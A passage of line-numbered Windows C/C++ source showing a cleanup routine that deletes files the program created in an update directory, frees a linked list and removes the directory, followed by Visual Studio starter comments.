dirtoclean[MAX_PATH] = { 0 }; 3420 wcscpy(dirtoclean, dirmoved ? newtmp : updatepath); 3421 UpdateFilesListCurrent = UpdateFilesList; 3422 while(UpdateFilesListCurrent) 3423 { 3424 3425 if (UpdateFilesListCurrent->filecreated) 3426 { 3427 wchar_t filetodel[MAX_PATH] = { 0 }; 3428 wcscpy(filetodel, dirtoclean); 3429 wcscat(filetodel, L"\\"); 3430 MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); 3431 DeleteFile(filetodel); 3432 } 3433 UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; 3434 UpdateFilesListCurrent = UpdateFilesListCurrent->next; 3435 free(UpdateFilesListOld); 3436 } 3437 RemoveDirectory(dirtoclean); 3438 } 3439 3440 3441 return 0; 3442 } 3443 3444 3445 // Run program: Ctrl + F5 or Debug > Start Without Debugging menu 3446 // Debug program: F5 or Debug > Start Debugging menu 3447 3448 // Tips for Getting Started: 3449 // 1. Use the Solution Explorer window to add/manage files 3450 // 2. Use the Team Explorer window to connect to source control 3451 // 3. Use the Output window to see build output and other messages 3452 // 4. Use the Error List window to view errors 3453 // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project 3454 // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file